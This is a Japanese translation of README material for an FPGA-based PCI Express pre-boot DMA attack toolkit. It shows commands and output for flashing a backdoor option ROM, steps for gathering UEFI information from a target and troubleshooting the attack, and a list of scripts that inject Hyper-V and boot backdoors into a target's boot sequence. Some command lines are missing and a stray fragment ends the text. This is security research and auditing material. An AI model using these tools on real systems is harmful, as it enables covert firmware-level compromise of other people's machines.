プリブートDMA攻撃用の悪意のあるコードを開発する際には、UEFI DXEフェーズの実行環境に関する情報を把握することが重要です。そのような情報を収集するには、ターゲットコンピュータの電源を入れ、BIOSセットアップメニューまたはブートオプションメニューに入ってオペレーティングシステムのロードを一時停止し、引数なしでuefi.pyプログラムを実行します。このプログラムはターゲットコンピュータの物理メモリをスキャンし、既存のUEFI DXEプロトコルとインターフェース、ロードされたUEFIドライバ、UEFI記述子テーブル、ACPIテーブルに関するさまざまな情報を出力します。ここで、攻撃ターゲットとしてAAEON UP SquaredミニPCを使用しているときにuefi.pyプログラムによって取得された情報の例を確認できます。
提供されるビットストリームは、SP605のオンボードリニアフラッシュメモリに格納されたPCI-EオプションROMをエミュレートできます。最新のプラットフォームはオプションROM攻撃を軽減しますが、この機能は依然としてセキュリティ監査やプロトタイピングの目的に役立つ可能性があります。
pcie_rom_ctl.py Pythonプログラムを使用してオプションROMイメージを管理できます。
オプションROMの内容を消去する:```
$ ./pcie_rom_ctl.py --erase
[+] Opening PCI-E device...
[+] Enabling resident mode...
[+] Erasing option ROM...
[+] Done
提供されたUEFIオプションROMの例をボードにロード中:```
$ ./pcie_rom_ctl.py --load payloads/DmaBackdoorSimple/DmaBackdoorSimple_X64_10ee_1337.rom
[+] Opening PCI-E device...
[+] Enabling resident mode...
[+] Erasing option ROM...
[+] Loading 5120 bytes of option ROM...
[+] Done
また、オプションROMメモリアクセスをSP605ボードのデバッグUARTにログ記録するオプションがあります。このオプションを有効または無効にするには、./pcie_rom_ctl.py プログラムの --log-on および --log-off パラメータを使用します。
Linux上でオプションROMサポートが正しく動作することを確認するには、以下の手順を実行します。
まず、SP605 PCI-Eデバイスのバス-デバイス-ファンクションアドレスを確認します:```
01:00.0 Ethernet controller: Xilinx Corporation Device 1337
次に、コマンドレジスタのイネーブルビットを設定して、ターゲットシステムがオプションROMの物理メモリ範囲へのすべてのメモリアクセス試行をPCI-Eデバイスに渡すようにします:```
# echo 1 > /sys/bus/pci/devices/0000\:01\:00.0/enable
# echo 1 > /sys/bus/pci/devices/0000\:01\:00.0/rom
これで、以前ロードしたオプションROMの内容を、dd コマンドとsysfsの適切な疑似ファイルを使ってダンプできます:```
00000000 55 aa 0b 00 f1 0e 00 00 0b 00 64 86 00 00 00 00 |U.........d.....| 00000010 00 00 00 00 00 00 60 00 1c 00 00 00 50 43 49 52 |......`.....PCIR| 00000020 ee 10 37 13 00 00 1c 00 03 00 00 00 0b 00 00 00 |..7.............| 00000030 03 80 00 00 00 00 00 00 ff ff ff ff ff ff ff ff |................| 00000040 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................| 00000050 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................| 00000060 4d 5a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |MZ..............| 00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000090 00 00 00 00 00 00 00 00 00 00 00 00 b8 00 00 00 |................| 000000a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000000b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000000c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
...
設定中に `pcie_rom_ctl.py` プログラムの `--log-on` オプションが指定された場合、オプションROMをダンプする際にSP605ボードのデバッグUARTコンソールに以下のメッセージが表示されます:```
ROM read: size = 2, offset = 0x0
ROM read: size = 2, offset = 0x18
ROM read: size = 4, offset = 0x1C
ROM read: size = 1, offset = 0x31
ROM read: size = 2, offset = 0x2C
ROM read: size = 1, offset = 0x0
ROM read: size = 2, offset = 0x0
ROM read: size = 2, offset = 0x18
ROM read: size = 4, offset = 0x1C
ROM read: size = 1, offset = 0x31
ROM read: size = 2, offset = 0x2C
ROM read: size = 1, offset = 0x1
ROM read: size = 2, offset = 0x0
ROM read: size = 2, offset = 0x18
ROM read: size = 4, offset = 0x1C
ROM read: size = 1, offset = 0x31
ROM read: size = 2, offset = 0x2C
...
PCI Expressは非常に複雑な高速バスであるため、問題が発生する可能性は多岐にわたります。DMA攻撃がお使いの環境で動作しない場合、以下の項目を確認して正確な問題を特定できます。
DS3 LEDは物理的なPCI-Eリンクが確立しているときに点灯し、DS4はルートコンプレックスがバス-デバイス-ファンクションアドレスをPCI-Eエンドポイントに割り当てたときに点灯します。DS3が消灯している場合は、物理的な接続の問題を示している可能性が高いです − ライザーやケーブルなどを確認してください。DS3が点灯しているのにDS4が消灯している場合は、攻撃対象を再起動するか、その側でPCI-Eデバイスの再スキャンを強制する必要があることを意味します。
DS5 LEDはPCI-Eバスリセット中に点灯します。常に点灯している場合は、物理的な接続の問題を示しています。
ルートコンプレックスがメモリ読み出し要求への応答としてCplD TLPの代わりにCpl TLPを送信する場合、無効なアドレスまたはIOMMUによるアクセスチェックのためにメモリアクセスが拒否されたことを意味します。また、一般的なx86マシンは、物理アドレス空間の特定のMMIO領域へのメモリ読み出し要求にまったく応答しない場合があります。
ソフトウェアがメモリ読み出し要求への応答としてルートコンプレックスから一貫性のない、または無効なTLPを受信している場合は、pcie_lib.py内のMEM_RD_TLP_LEN定数に小さな値を設定して、応答データをより小さなチャンクに分割してみてください。また、DEBUG_TLP=1環境変数を指定してプログラムを実行し、生のTX/RX TLPダンプを確認すると便利です。
SP605ボードに付属するXilinx ISE 13.4をインストールし、s6_pcie_microblaze.xiseプロジェクトファイルを開きます。
プロジェクト階層に存在するs6_pcie_v2_4とfifo_generator_v8_4コアを再生成します。
プロジェクト階層のmicroblaze_iインスタンスをクリックし、"Export Hardware Design to SDK With Bitstream"を実行します。
ビルドが完了すると、ISEはXilinx Software Development Kit IDEを開きます。ワークスペースとしてsdkフォルダを使用してください。
Xilinx SDKプロジェクトツリーに新しいスタンドアロンのボードサポートパッケージを作成し、BSP設定でlwIPとxilflashライブラリを選択します。
sdk/srec_bootloader_0とsdk/main_0プロジェクトをプロジェクトツリーにインポートし、ビルドを実行します。
Xilinx ISEコマンドプロンプトからmake bitstream && make srecを実行して、必要な出力ファイルを生成します。
Dmytro Oleksiuk (aka Cr4sh)
python/uefi_backdoor_hv.py − Hyper-V VM exit handlerバックドアを対象システムのブートシーケンスに注入する起動前DMA攻撃用のコマンドラインプログラム。
python/uefi_backdoor_boot.py − Boot Backdoorを対象システムのブートシーケンスに注入する起動前DMA攻撃用のコマンドラインプログラム。
python/payloads/DmaBackdoorSimple/ − uefi_backdoor_simple.pyで使用するダミーUEFI DXEドライバーのソースコード。
python/payloads/DmaBackdoorHv/ − uefi_backdoor_hv.pyで使用するUEFI DXEドライバーのソースコード。Hyper-V Backdoor機能を実装しています。
python/payloads/DmaBackdoorBoot/ − uefi_backdoor_boot.pyで使用するUEFI DXEドライバーのソースコード。Boot Backdoor機能を実装しています。
SCAN_STEP